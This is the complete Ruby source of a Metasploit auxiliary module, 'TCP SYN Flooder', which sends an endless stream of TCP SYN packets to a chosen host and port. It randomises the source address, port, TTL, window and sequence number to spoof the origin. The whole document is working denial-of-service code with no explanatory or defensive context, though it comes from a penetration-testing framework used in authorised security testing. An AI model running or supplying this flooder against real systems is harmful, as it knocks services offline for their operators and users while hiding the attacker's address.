TCP SYN Flooder

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Capture  
include Msf::Auxiliary::Dos  
  
def initialize  
super(  
'Name' => 'TCP SYN Flooder',  
'Description' => 'A simple TCP SYN flooder',  
'Author' => 'kris katterjohn',  
'License' => MSF_LICENSE  
)  
  
register_options([  
Opt::RPORT(80),  
OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),  
OptInt.new('SPORT', [false, 'The source port (else randomizes)']),  
OptInt.new('NUM', [false, 'Number of SYNs to send (else unlimited)'])  
])  
  
deregister_options('FILTER','PCAPFILE')  
end  
  
def sport  
datastore['SPORT'].to_i.zero? ? rand(65535)+1 : datastore['SPORT'].to_i  
end  
  
def rport  
datastore['RPORT'].to_i  
end  
  
def srchost  
datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')  
end  
  
def run  
open_pcap  
  
sent = 0  
num = datastore['NUM'] || 0  
  
print_status("SYN flooding #{rhost}:#{rport}...")  
  
p = PacketFu::TCPPacket.new  
p.ip_saddr = srchost  
p.ip_daddr = rhost  
p.tcp_dport = rport  
p.tcp_flags.syn = 1  
  
while (num <= 0) or (sent < num)  
p.ip_ttl = rand(128)+128  
p.tcp_win = rand(4096)+1  
p.tcp_sport = sport  
p.tcp_seq = rand(0x100000000)  
p.recalc  
break unless capture_sendto(p,rhost)  
sent += 1  
end  
  
close_pcap  
end  
end  
`